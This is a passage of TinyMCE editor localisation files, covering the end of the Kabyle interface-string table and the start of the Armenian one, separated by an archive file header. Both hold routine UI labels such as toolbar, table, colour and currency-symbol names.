"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.",
"Headers": "Izwal",
"Header 1": "Azwel 1",
"Header 2": "Azwel 2",
"Header 3": "Azwel 3",
"Header 4": "Azwel 4",
"Header 5": "Header 5",
"Header 6": "Azwel 6",
"Headings": "Izewlen",
"Heading 1": "Inixf 1",
"Heading 2": "Inixf 2",
"Heading 3": "Inixf 3",
"Heading 4": "Inixf 4",
"Heading 5": "Inixf 5",
"Heading 6": "Inixf 6",
"Preformatted": "Yettwamsel si tazwara",
"Div": "Div",
"Pre": "Pre",
"Code": "Tangalt",
"Paragraph": "taseddart",
"Blockquote": "Tanebdurt",
"Inline": "Inline",
"Blocks": "I\u1e25edran",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",
"Fonts": "Tisefsa",
"Font Sizes": "Tiddi n tsefsit",
"Class": "Asmil",
"Browse for an image": "Snirem iwakken ad tferne\u1e0d tugna",
"OR": "Ih",
"Drop an image here": "Ssers tugna dagi",
"Upload": "Sili",
"Block": "Sew\u1e25el",
"Align": "Settef",
"Default": "Lex\u1e63as",
"Circle": "Tawinest",
"Disc": "A\u1e0debsi",
"Square": "Amku\u1e93",
"Lower Alpha": "Alpha ame\u1e93yan",
"Lower Greek": "Grik ame\u1e93yan",
"Lower Roman": "Ruman amectu\u1e25",
"Upper Alpha": "Alfa ameqran",
"Upper Roman": "Ruman ameqran",
"Anchor...": "Tamdeyt...",
"Name": "Isem",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "id ilaq ad ibdu s usekkil, ad yettwa\u1e0dfer kan s isekkilen, im\u1e0danen, ijerri\u1e0den, tinqi\u1e0din, snat n tenqi\u1e0din ne\u0263 ijerri\u1e0den n wadda.",
"You have unsaved changes are you sure you want to navigate away?": "Ibeddilen ur twaskelsen ara teb\u0263i\u1e0d ad teff\u0263e\u1e0d ?",
"Restore last draft": "Restore last draft",
"Special character...": "Isekkilen uzzigen...",
"Source code": "Tangalt ta\u0263balut",
"Insert\/Edit code sample": "Ger\/\u1e92reg tangalt n umedya",
"Language": "Tutlayt",
"Code sample...": "Amedya n tengalt...",
"Color Picker": "Amelqa\u1e0d n yini",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Seg zelma\u1e0d \u0263er yefus",
"Right to left": "Seg yefus \u0263er zelma\u1e0d",
"Emoticons...": "Tigitin n u\u1e25ulfu...",
"Metadata and Document Properties": "Idfersefka akked yiraten n yisemli",
"Title": "Azwel",
"Keywords": "Awalen yufraren",
"Description": "Aglam",
"Robots": "Robots",
"Author": "Ameskar",
"Encoding": "Asettengel",
"Fullscreen": "Agdil a\u010duran",
"Action": "Tigawt",
"Shortcut": "Anegzum",
"Help": "Tallalt",
"Address": "Tansa",
"Focus to menubar": "Asa\u1e0des \u0263ef tfeggagt n wumu\u0263",
"Focus to toolbar": "Asa\u1e0des \u0263ef tfeggagt n ifecka",
"Focus to element path": "Asa\u1e0des \u0263ef ubrid n uferdis",
"Focus to contextual toolbar": "Asa\u1e0des \u0263ef tfeggagt n ifecka tanattalt",
"Insert link (if link plugin activated)": "Ger ase\u0263wen (ma yermed uzegrir n use\u0263wen)",
"Save (if save plugin activated)": "Sekles (ma yermed uzegrir save)",
"Find (if searchreplace plugin activated)": "Nadi (ma yermed uzegrir searchreplace)",
"Plugins installed ({0}):": "Izegriren yettwasbedden ({0}):",
"Premium plugins:": "Izegriren premium :",
"Learn more...": "\u1e92er ugar...",
"You are using {0}": "Tsseqdace\u1e0d {0}",
"Plugins": "Isi\u0263zifen",
"Handy Shortcuts": "Inegzumen",
"Horizontal line": "Ajerri\u1e0d aglawan",
"Insert\/edit image": "Ger\/\u1e92reg tugna",
"Image description": "Aglam n tugna",
"Source": "A\u0263balu",
"Dimensions": "Tisekta",
"Constrain proportions": "Constrain proportions",
"General": "Amatu",
"Advanced": "Ana\u1e93i",
"Style": "A\u0263anib",
"Vertical space": "Talunt taratakt",
"Horizontal space": "Talunt taglawant",
"Border": "Iri",
"Insert image": "Ger tugna",
"Image...": "Tugna...",
"Image list": "Tabdart n tugniwin",
"Rotate counterclockwise": "Tuzya mgal tamrilt",
"Rotate clockwise": "Tuzya yugdan tamrilt",
"Flip vertically": "Tuzya taratakt",
"Flip horizontally": "Tuzttya tagrawant",
"Edit image": "\u1e92reg tugna",
"Image options": "Tixti\u1e5biyin n tugna",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Rogner",
"Resize": "Beddel tiddi",
"Orientation": "Ta\u0263da",
"Brightness": "Tafat",
"Sharpen": "Affiner",
"Contrast": "Contrast",
"Color levels": "Iswiren n yini",
"Gamma": "Gamma",
"Invert": "Tti",
"Apply": "Snes",
"Back": "Tu\u0263alin",
"Insert date\/time": "Ger azemz\/asrag",
"Date\/time": "Azemz\/Asrag",
"Insert\/Edit Link": "Ger\/\u1e92reg as\u0263en",
"Insert\/edit link": "Ger\/\u1e93reg azday",
"Text to display": "A\u1e0dris ara yettwabeqq\u1e0den",
"Url": "Url",
"Open link in...": "Ldi as\u0263en di...",
"Current window": "Asfaylu amiran",
"None": "Ulac",
"New window": "Asfaylu amaynut",
"Remove link": "Kkes azday",
"Anchors": "Timdyin",
"Link...": "As\u0263en...",
"Paste or type a link": "Sente\u1e0d ne\u0263 sekcem ase\u0263wen",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URL i teskecme\u1e0d tettban-d d tansa email. teb\u0263i\u1e0d ad s-ternu\u1e0d azwir mailto : ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URL i teskecme\u1e0d tettban-d d azday uffi\u0263. Teb\u0263i\u1e0d ad s-ternu\u1e0d azwir http:\/\/  ?",
"Link list": "Tabdart n is\u0263ewnen",
"Insert video": "Ger avidyu",
"Insert\/edit video": "Ger\/\u1e93reg avidyu",
"Insert\/edit media": "Ger\/\u1e92reg amiya",
"Alternative source": "A\u0263balu amlellay",
"Alternative source URL": "A\u0263balu n URL amlellay",
"Media poster (Image URL)": "Abeqqi\u1e0d n umidya (URL n tugna)",
"Paste your embed code below:": "Paste your embed code below:",
"Embed": "Embed",
"Media...": "Amidya...",
"Nonbreaking space": "Talunt ur nettwagzam ara",
"Page break": "Angaz n usebter",
"Paste as text": "Sente\u1e0d d a\u1e0dris",
"Preview": "Sken",
"Print...": "Siggez...",
"Save": "Sekles",
"Find": "Nadi",
"Replace with": "Semselsi s",
"Replace": "Semselsi",
"Replace all": "Semselsi kulec",
"Previous": "Uzwir",
"Next": "Win \u0263ers",
"Find and replace...": "Nadi semselsi...",
"Could not find the specified string.": "Ur d-nufi ara azrar i d-yettunefken.",
"Match case": "Match case",
"Find whole words only": "Af-d awal ummid kan",
"Spell check": "Selken ta\u0263dirawt",
"Ignore": "Zgel",
"Ignore all": "Zgel kulec",
"Finish": "Fak",
"Add to Dictionary": "Rnu-t s amawal",
"Insert table": "Ger tafelwit",
"Table properties": "Iraten n tfelwit",
"Delete table": "Kkes tafelwit",
"Cell": "Taxxamt",
"Row": "Adur",
"Column": "Tagejdit",
"Cell properties": "Iraten n texxamt",
"Merge cells": "Seddukel tixxamin",
"Split cell": "B\u1e0du tixxamin",
"Insert row before": "Ger adur deffir",
"Insert row after": "Ger adur sdat",
"Delete row": "Kkes tagejdit",
"Row properties": "Iraten n udur",
"Cut row": "Gzem adur",
"Copy row": "N\u0263el adur",
"Paste row before": "Sente\u1e0d adur sdat",
"Paste row after": "Sente\u1e0d adur deffir",
"Insert column before": "Sente\u1e0d tagejdit sdat",
"Insert column after": "Sente\u1e0d tagejdit deffir",
"Delete column": "Kkes tagejdit",
"Cols": "Tigejda",
"Rows": "Aduren",
"Width": "Tehri",
"Height": "Te\u0263zi",
"Cell spacing": "Tlunt ger texxamin",
"Cell padding": "Tama n texxamt",
"Show caption": "Sken taw\u1e6d\u1e6dfa",
"Left": "\u0194er zelma\u1e0d",
"Center": "Di tlemmast",
"Right": "\u0194er yefus",
"Cell type": "Anaw n texxamt",
"Scope": "Scope",
"Alignment": "Tarigla",
"H Align": "Tarigla taglawant",
"V Align": "Tarigla taratakt",
"Top": "Uksawen",
"Middle": "Di tlemmast",
"Bottom": "Uksar",
"Header cell": "Tasen\u1e6di\u1e0dt n texxamt",
"Row group": "Agraw n waduren",
"Column group": "Agraw n tgejda",
"Row type": "Anaw n wadur",
"Header": "Tasenti\u1e0dt",
"Body": "Tafka",
"Footer": "A\u1e0dar",
"Border color": "Ini n yiri",
"Insert template...": "Ger tane\u0263ruft...",
"Templates": "Timudimin",
"Template": "Tine\u0263rufin",
"Text color": "Ini n u\u1e0dris",
"Background color": "Ini n ugilal",
"Custom...": "Custom...",
"Custom color": "Custom color",
"No color": "Ulac ini",
"Remove color": "Kkes ini",
"Table of Contents": "Tafelwit n ugbur",
"Show blocks": "Beqqe\u1e0d i\u1e25edran",
"Show invisible characters": "Beqqe\u1e0d isekkilen uffiren",
"Word count": "Am\u1e0dan n wawalen",
"Count": "A\u0263rud",
"Document": "Isemli",
"Selection": "Tafrayt",
"Words": "Awalen",
"Words: {0}": "Words: {0}",
"{0} words": "{0} n wawalen",
"File": "Afaylu",
"Edit": "\u1e92reg",
"Insert": "Ger",
"View": "Tamu\u0263li",
"Format": "Amasal",
"Table": "Tafelwit",
"Tools": "Ifecka",
"Powered by {0}": "Iteddu s {0} ",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help",
"Image title": "Azwel n tugna",
"Border width": "Tehri n yiri",
"Border style": "A\u0263anib n yiri",
"Error": "Tucc\u1e0da",
"Warn": "\u0190eyyen",
"Valid": "Ame\u0263tu",
"To open the popup, press Shift+Enter": "Iwakken ad teldi\u1e0d asfaylu udhim, ssed Shift+Kcem",
"Rich Text Area. Press ALT-0 for help.": "Ta\u0263zut n u\u1e0dris anesba\u0263ur. Ssed ALT-0 i tallelt.",
"System Font": "Anagraw n tsefsa",
"Failed to upload image: {0}": "Tucc\u1e0da deg usili n tugna: {0}",
"Failed to load plugin: {0} from url {1}": "Tucc\u1e0da deg usili n usi\u0263zef: {0} seg url {1}",
"Failed to load plugin url: {0}": "Tucc\u1e0da deg usali n usi\u0263zef: {0}",
"Failed to initialize plugin: {0}": "Tucc\u1e0da deg wallus n uwennez n usi\u0263zef: {0}",
"example": "amedya",
"Search": "Nadi",
"All": "Akk",
"Currency": "Adrim",
"Text": "A\u1e0dris",
"Quotations": "Tinebdurin",
"Mathematical": "Inemhalen usnaken",
"Extended Latin": "Talatinit ye\u1e93len",
"Symbols": "Izamulen",
"Arrows": "Tineccabin",
"User Defined": "Yesbadu-t useqdac",
"dollar sign": "Azamul n dular",
"currency sign": "Azamul n wedrim",
"euro-currency sign": "azamul n euro",
"colon sign": "azamul n kulun",
"cruzeiro sign": "azamul n krutayru",
"french franc sign": "azamul n f\u1e5bank afransi",
"lira sign": "azamul n lira",
"mill sign": "azamul n mil",
"naira sign": "azamul n nayra",
"peseta sign": "azamul n pizi\u1e6da",
"rupee sign": "azamul n urupi",
"won sign": "azamul n wun",
"new sheqel sign": "azamul n ciqel amaynut",
"dong sign": "azamul n dung",
"kip sign": "azamul n kip",
"tugrik sign": "azamul n tugrik",
"drachma sign": "azamul n d\u1e5bacma",
"german penny symbol": "azamul n pini almani",
"peso sign": "azamul n pizu",
"guarani sign": "azamul n gwa\u1e5bani",
"austral sign": "azamul n ustral",
"hryvnia sign": "azamul n hrivniya",
"cedi sign": "azamul n siddi",
"livre tournois sign": "azamul lira aturnwa",
"spesmilo sign": "azamul n spismilu",
"tenge sign": "azamul n tingi",
"indian rupee sign": "azamul n urupi ahindi",
"turkish lira sign": "azamul n lira a\u1e6durki",
"nordic mark sign": "azamul n ma\u1e5bk n ugafa",
"manat sign": "azamul n mana\u1e6d",
"ruble sign": "azamul n rubl",
"yen character": "azamul n yan",
"yuan character": "azamul n yuwan",
"yuan character, in hong kong and taiwan": "asekkil n yuwan, di hunkung akked \u1e6daywan",
"yen\/yuan character variant one": "yan\/yuwan tasenfelt n usekkil yiwen",
"Loading emoticons...": "Asali n tignitin n u\u1e25ulfu...",
"Could not load emoticons": "Tucc\u1e0da deg usali n tignitin n u\u1e25ulfu",
"People": "L\u0263aci",
"Animals and Nature": "i\u0263ersiwen akked ugama",
"Food and Drink": "Tu\u010d\u010dit akked tisit",
"Activity": "Armud",
"Travel and Places": "Asikel akked ime\u1e0dqan",
"Objects": "Ti\u0263awsiwin",
"Flags": "Annayen",
"Characters": "Isekkilen",
"Characters (no spaces)": "Isekkilen (tallunin ur ttekkint ara)",
"{0} characters": "{0} n yisekkilen",
"Error: Form submit field collision.": "Tucc\u1e0da: amgirred n wurtan di tuzzna n tferkit.",
"Error: No form element found.": "Ulac aferdis n tferkit i yettwafen.",
"Update": "Leqqem",
"Color swatch": "Talemmict n yini",
"Turquoise": "Ajenjari",
"Green": "Azegzaw",
"Blue": "Anili",
"Purple": "Amidadi",
"Navy Blue": "Anili n yilel",
"Dark Turquoise": "Ajenjari a\u0263mayan",
"Dark Green": "Azegzaw a\u0263mayan",
"Medium Blue": "Anili alemmas",
"Medium Purple": "Amidadi alemmas",
"Midnight Blue": "Anili n yi\u1e0d",
"Yellow": "Awra\u0263",
"Orange": "A\u010d\u010dinawi",
"Red": "Azegga\u0263",
"Light Gray": "Amelli\u0263di afaw",
"Gray": "Amelli\u0263di",
"Dark Yellow": "Awra\u0263 a\u0263mayan",
"Dark Orange": "A\u010dinawi a\u0263mayan",
"Dark Red": "Azegga\u0263 a\u0263mayan",
"Medium Gray": "Amelli\u0263di alemmas",
"Dark Gray": "Amelli\u0263di a\u0263mayan",
"Light Green": "Azegzaw afaw",
"Light Yellow": "Awra\u0263 afaw",
"Light Red": "Azegga\u0263 afaw",
"Light Purple": "Amidadi afaw",
"Light Blue": "Anili afaw",
"Dark Purple": "Amidadi a\u0263mayan",
"Dark Blue": "Anili a\u0263mayan",
"Black": "Aberkan",
"White": "Amellal",
"Switch to or from fullscreen mode": "Kcem ne\u0263 ffe\u0263 agdil a\u010d\u010duran",
"Open help dialog": "Ldi tankult n udiwenni n tallelt",
"history": "Amazray",
"styles": "i\u0263unab",
"formatting": "amsal",
"alignment": "aderrec",
"indentation": "asi\u1e93i",
"permanent pen": "imru ama\u0263lal",
"comments": "iwenniten",
"Format Painter": "Sisleg amsal",
"Insert\/edit iframe": "Ger\/\u1e92reg akatar",
"Capitalization": "Selket s asekkil ameqran",
"lowercase": "asekkil amec\u1e6du\u1e25",
"UPPERCASE": "ASEKKIL AMEQRAN",
"Title Case": "Taj\u1e5but n uzwel",
"Permanent Pen Properties": "Iraten n yimru ama\u0263lal",
"Permanent pen properties...": "Iraten n yimru ama\u0263lal...",
"Font": "Tasefsit",
"Size": "Tiddi",
"More...": "Ugar...",
"Spellcheck Language": "Tutlayt n umse\u0263ti n tira",
"Select...": "Fren...",
"Preferences": "Imenyafen",
"Yes": "Ih",
"No": "Ala",
"Keyboard Navigation": "Tunigin s unasiw",
"Version": "Lqem",
"Anchor": "Tamdeyt",
"Special character": "Askil uslig",
"Code sample": "Tikkest n tengalt",
"Color": "Ini",
"Emoticons": "Emoticons",
"Document properties": "Iraten n warat",
"Image": "Tugna",
"Insert link": "Ger azday",
"Target": "Target",
"Link": "Ase\u0263wen",
"Poster": "Poster",
"Media": "Amidya",
"Print": "Siggez",
"Prev": "Win yezrin",
"Find and replace": "Nadi semselsi",
"Whole words": "Awal ummid",
"Spellcheck": "Ase\u0263ti n tira",
"Caption": "Caption",
"Insert template": "Ger tamuddimt"
});PK
h�\�$X1����program/js/tinymce/langs/hy.jsnu�[���tinymce.addI18n('hy',{
"Redo": "\u0540\u0561\u057b\u0578\u0580\u0564 \u0584\u0561\u0575\u056c",
"Undo": "\u0546\u0561\u056d\u0578\u0580\u0564 \u0584\u0561\u0575\u056c",
"Cut": "\u053f\u057f\u0580\u0565\u056c",
"Copy": "\u054a\u0561\u057f\u0573\u0565\u0576\u0565\u056c",
"Paste": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c",
"Select all": "\u0546\u0577\u0565\u056c \u0562\u0578\u056c\u0578\u0580\u0568",
"New document": "\u0546\u0578\u0580 \u0583\u0561\u057d\u057f\u0561\u0569\u0578\u0582\u0572\u0569",
"Ok": "Ok",
"Cancel": "\u0553\u0561\u056f\u0565\u056c",
"Visual aids": "\u0551\u0578\u0582\u0581\u0561\u0564\u0580\u0565\u056c \u056f\u0578\u0576\u057f\u0578\u0582\u0580\u0576\u0565\u0580\u0568",
"Bold": "\u0539\u0561\u057e\u0561\u057f\u0561\u057c",
"Italic": "\u0547\u0565\u0572\u0561\u057f\u0561\u057c",
"Underline": "\u0538\u0576\u0564\u0563\u056e\u057e\u0561\u056e",
"Strikethrough": "\u0531\u0580\u057f\u0561\u0563\u056e\u057e\u0561\u056e",
"Superscript": "\u054e\u0565\u0580\u056b\u0576 \u056b\u0576\u0564\u0565\u0584\u057d",
"Subscript": "\u054d\u057f\u0578\u0580\u056b\u0576 \u056b\u0576\u0564\u0565\u0584\u057d",
"Clear formatting": "\u0544\u0561\u0584\u0580\u0565\u056c \u0586\u0578\u0580\u0574\u0561\u057f\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0568",
"Align left": "\u0541\u0561\u056d\u0561\u056f\u0578\u0572\u0574\u0575\u0561 \u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Align center": "\u053f\u0565\u0576\u057f\u0580\u0578\u0576\u0561\u056f\u0561\u0576 \u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Align right": "\u0531\u057b\u0561\u056f\u0578\u0572\u0574\u0575\u0561 \u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Justify": "\u0535\u0580\u056f\u056f\u0578\u0572\u0574\u0561\u0576\u056b \u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Bullet list": "\u0549\u0570\u0561\u0574\u0561\u0580\u0561\u056f\u0561\u056c\u057e\u0561\u056e \u0581\u0578\u0582\u0581\u0561\u056f",
"Numbered list": "\u0540\u0561\u0574\u0561\u0580\u0561\u056f\u0561\u056c\u057e\u0561\u056e \u0581\u0578\u0582\u0581\u0561\u056f",
"Decrease indent": "\u0553\u0578\u0584\u0580\u0561\u0581\u0576\u0565\u056c \u0571\u0561\u056d \u0565\u0566\u0580\u056b \u0570\u0565\u057c\u0561\u057e\u0578\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0568",
"Increase indent": "\u0544\u0565\u056e\u0561\u0581\u0576\u0565\u056c \u0571\u0561\u056d \u0565\u0566\u0580\u056b \u0570\u0565\u057c\u0561\u057e\u0578\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0568",
"Close": "\u0553\u0561\u056f\u0565\u056c",
"Formats": "\u0556\u0578\u0580\u0574\u0561\u057f\u0576\u0565\u0580",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0541\u0565\u0580 \u0562\u0580\u0561\u0578\u0582\u0566\u0565\u0580\u0568 \u0579\u056b \u0561\u057a\u0561\u0570\u0578\u057e\u0578\u0582\u0574 \u0561\u0576\u0574\u056b\u057b\u0561\u056f\u0561\u0576 \u0565\u056c\u0584 \u0583\u0578\u056d\u0561\u0576\u0561\u056f\u0574\u0561\u0576 \u0562\u0578\u0582\u0586\u0565\u0580\u056b\u0576\u0589 \u053d\u0576\u0564\u0580\u0578\u0582\u0574 \u0565\u0576\u0584 \u0585\u0563\u057f\u057e\u0565\u056c Ctrl+X\/C\/V \u057d\u057f\u0565\u0572\u0576\u0565\u0580\u056b\u0581\u0589",
"Headers": "\u054e\u0565\u0580\u0576\u0561\u0563\u0580\u0565\u0580",
"Header 1": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 1",
"Header 2": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 2",
"Header 3": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 3",
"Header 4": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 4",
"Header 5": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 5",
"Header 6": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 6",
"Headings": "\u054e\u0565\u0580\u0576\u0561\u0563\u0580\u0565\u0580",
"Heading 1": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 1",
"Heading 2": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 2",
"Heading 3": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 3",
"Heading 4": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 4",
"Heading 5": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 5",
"Heading 6": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580 6",
"Preformatted": "\u0546\u0561\u056d\u0561\u057a\u0565\u057d \u0571\u0565\u0582\u0561\u057e\u0578\u0580\u057e\u0561\u056e",
"Div": "Div",
"Pre": "Pre",
"Code": "\u053f\u0578\u0564",
"Paragraph": "\u054a\u0561\u0580\u0562\u0565\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Blockquote": "\u0544\u0565\u057b\u0562\u0565\u0580\u0578\u0582\u0574",
"Inline": "\u054f\u0578\u0572\u0561\u0575\u056b\u0576",
"Blocks": "\u0532\u056c\u0578\u056f\u0576\u0565\u0580",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u054f\u0565\u0584\u057d\u057f\u056b \u057f\u0565\u0572\u0561\u0564\u0580\u0578\u0582\u0574\u0568 \u056f\u0561\u057f\u0561\u0580\u057e\u0565\u056c\u0578\u0582 \u0567 \u0570\u0561\u057d\u0561\u0580\u0561\u056f \u057f\u0565\u0584\u057d\u057f\u056b \u057c\u0565\u056a\u056b\u0574\u0578\u057e\u0589 \u054a\u0561\u057f\u0573\u0565\u0576\u057e\u0561\u056e \u057f\u0565\u0584\u057d\u057f\u0568 \u057f\u0565\u0572\u0561\u0564\u0580\u057e\u0565\u056c\u0578\u0582 \u0567 \u0570\u0561\u057d\u0561\u0580\u0561\u056f \u057f\u0565\u0584\u057d\u057f\u056b \u0571\u0587\u0578\u057e \u0574\u056b\u0576\u0579\u0587 \u0561\u0575\u057d \u057c\u0565\u056a\u056b\u0574\u056b \u0561\u0576\u057b\u0561\u057f\u0578\u0582\u0574\u0568\u0589",
"Fonts": "\u0556\u0578\u0576\u057f\u0565\u0580",
"Font Sizes": "\u054f\u0561\u057c\u056b \u0579\u0561\u0583",
"Class": "\u0534\u0561\u057d",
"Browse for an image": "\u0538\u0576\u057f\u0580\u0565\u056c \u0576\u056f\u0561\u0580",
"OR": "\u053f\u0531\u0544",
"Drop an image here": "\u0546\u056f\u0561\u0580\u0568 \u0563\u0581\u0565\u0584 \u0561\u0575\u057d\u057f\u0565\u0572",
"Upload": "\u054e\u0565\u0580\u0562\u0565\u057c\u0576\u0565\u056c",
"Block": "\u0532\u056c\u0578\u056f",
"Align": "\u0540\u0561\u057e\u0561\u057d\u0561\u0580\u0565\u0581\u0576\u0565\u056c",
"Default": "\u054d\u057f\u0561\u0576\u0564\u0561\u0580\u057f",
"Circle": "\u0547\u0580\u057b\u0561\u0576",
"Disc": "\u053f\u056c\u0578\u0580",
"Square": "\u0554\u0561\u057c\u0561\u056f\u0578\u0582\u057d\u056b",
"Lower Alpha": "\u0553\u0578\u0584\u0580\u0561\u057f\u0561\u057c \u056c\u0561\u057f\u056b\u0576\u0561\u056f\u0561\u0576 \u057f\u0561\u057c\u0565\u0580",
"Lower Greek": "\u0553\u0578\u0584\u0580\u0561\u057f\u0561\u057c \u0570\u0578\u0582\u0576\u0561\u056f\u0561\u0576 \u057f\u0561\u057c\u0565\u0580",
"Lower Roman": "\u0553\u0578\u0584\u0580\u0561\u057f\u0561\u057c \u0570\u057c\u0578\u0574\u0565\u0561\u056f\u0561\u0576 \u0569\u057e\u0565\u0580",
"Upper Alpha": "\u0544\u0565\u056e\u0561\u057f\u0561\u057c \u056c\u0561\u057f\u056b\u0576\u0565\u0580\u0565\u0576 \u057f\u0561\u057c\u0565\u0580",
"Upper Roman": "\u0544\u0565\u056e\u0561\u057f\u0561\u057c \u0570\u057c\u0578\u0574\u0565\u0561\u056f\u0561\u0576 \u0569\u057e\u0565\u0580",
"Anchor...": "\u053d\u0561\u0580\u056b\u057d\u056d...",
"Name": "\u0531\u0576\u0578\u0582\u0576",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id-\u0576 \u057a\u0565\u057f\u0584 \u0567 \u057d\u056f\u057d\u057e\u056b \u057f\u0561\u057c\u0578\u057e \u0587 \u056f\u0561\u0580\u0578\u0572 \u0567 \u057a\u0561\u0580\u0578\u0582\u0576\u0561\u056f\u0565\u056c \u057f\u0561\u057c\u0565\u0580, \u0569\u057e\u0565\u0580, \u0563\u056e\u056b\u056f, \u056f\u0565\u057f, \u057e\u0565\u0580\u057b\u0561\u056f\u0565\u0565\u057f \u056f\u0561\u0574 \u057f\u0578\u0572\u0561\u057f\u0561\u056f\u056b \u0563\u056e\u056b\u056f",
"You have unsaved changes are you sure you want to navigate away?": "\u053f\u0561\u0576 \u0579\u057a\u0561\u0570\u057a\u0561\u0576\u057e\u0561\u056e \u0583\u0578\u0583\u0578\u056d\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0589 \u0534\u0578\u0582\u0584 \u056b\u0580\u0578\u055e\u0584 \u0578\u0582\u0566\u0578\u0582\u0574 \u0565\u0584 \u0564\u0578\u0582\u0580\u057d \u0563\u0561\u056c",
"Restore last draft": "\u054e\u0565\u0580\u0561\u056f\u0561\u0576\u0563\u0576\u0565\u056c \u057e\u0565\u0580\u057b\u056b\u0576 \u0576\u0561\u056d\u0561\u0563\u056b\u056e\u0568",
"Special character...": "\u0540\u0561\u057f\u0578\u0582\u056f \u057d\u056b\u0574\u057e\u0578\u056c\u0576\u0565\u0580...",
"Source code": "\u053e\u0580\u0561\u0563\u0580\u0561\u0575\u056b\u0576 \u056f\u0578\u0564",
"Insert\/Edit code sample": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u056f\u0578\u0564\u0568",
"Language": "\u053c\u0565\u0566\u0578\u0582",
"Code sample...": "\u053f\u0578\u0564\u056b \u0585\u0580\u0576\u0561\u056f",
"Color Picker": "\u0533\u0578\u0582\u0576\u0561\u057a\u0576\u0561\u056f",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0541\u0561\u056d\u056b\u0581 \u0561\u057b",
"Right to left": "\u0531\u057b\u056b\u0581 \u0571\u0561\u056d",
"Emoticons...": "\u054d\u0574\u0561\u0575\u056c\u056b\u056f\u0576\u0565\u0580...",
"Metadata and Document Properties": "\u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Title": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580",
"Keywords": "\u0548\u0580\u0578\u0576\u0578\u0572\u0561\u056f\u0561\u0576 \u0562\u0561\u057c\u0565\u0580",
"Description": "\u0546\u056f\u0561\u0580\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Robots": "Robots",
"Author": "\u0540\u0565\u0572\u056b\u0576\u0561\u056f",
"Encoding": "\u053f\u0578\u0564\u0561\u057e\u0578\u0580\u0578\u0582\u0574",
"Fullscreen": "\u0531\u0574\u0562\u0578\u0572\u057b \u0567\u056f\u0580\u0561\u0576\u0578\u057e",
"Action": "\u0533\u0578\u0580\u056e\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Shortcut": "\u053f\u0561\u0580\u0573\u0578\u0582\u0572\u056b",
"Help": "\u0555\u0563\u0576\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Address": "\u0540\u0561\u057d\u0581\u0565",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0570\u0572\u0578\u0582\u0574 (\u0565\u0569\u0565 \u0570\u0572\u0578\u0582\u0574 \u0568\u0576\u0564\u056c\u0561\u0575\u0576\u0578\u0582\u0574\u0568 \u0561\u057e\u057f\u056b\u057e \u0567)",
"Save (if save plugin activated)": "\u054a\u0561\u0570\u057a\u0561\u0576\u0565\u056c (\u0565\u0569\u0565 save \u0568\u0576\u0564\u056c\u0561\u0575\u0576\u0578\u0582\u0574\u0568 \u0561\u056f\u057f\u056b\u057e \u0567)",
"Find (if searchreplace plugin activated)": "\u0553\u0576\u057f\u0580\u0565\u056c (\u0565\u0569\u0565 searchreplace \u0568\u0576\u0564\u056c\u0561\u0575\u0576\u0578\u0582\u0574\u0568 \u0561\u056f\u057f\u056b\u057e \u0567)",
